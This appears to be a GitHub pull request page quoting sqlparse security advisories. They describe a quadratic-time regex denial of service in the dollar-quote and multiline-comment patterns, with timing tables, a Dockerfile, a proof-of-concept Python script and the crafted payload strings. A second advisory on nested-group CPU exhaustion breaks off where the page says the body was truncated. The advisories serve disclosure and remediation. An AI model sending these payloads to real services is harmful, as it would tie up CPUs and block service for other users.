Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

##### sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

##### sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

  1. sqlparse/__init__.py:20parse(sql) accepts caller-controlled SQL.
  2. sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
  3. sqlparse/__init__.py:43FilterStack.run(stream, encoding) is invoked.
  4. sqlparse/engine/filter_stack.py:31lexer.tokenize(sql, encoding) is called with no length limit or timeout.
  5. sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
  6. sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers) Bytes Elapsed
250 1,889 0.066 s
500 3,889 0.144 s
1,000 7,889 0.397 s
2,000 16,889 1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

##### Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

##### Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @​7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

##### sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),

##### sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers bytes lexing
2,000 8 KB 0.057 s
4,000 16 KB 0.196 s
8,000 32 KB 0.729 s
16,000 64 KB 2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts
Dockerfile
FROM python:3.11-slim

##### Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

##### Copy the sqlparse repository source code
COPY repo/ /app/repo/

##### Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

##### Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

##### Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()

def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))

results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

##### Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

##### PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


sqlparse: TokenList.init materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger

CVE-2026-54284 / GHSA-pwgv-4x5q-6m9f / PYSEC-2026-3699

More information

Details

Summary

sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.

The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a

Note

PR body was truncated to here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: No status

Development

Successfully merging this pull request may close these issues.

0 participants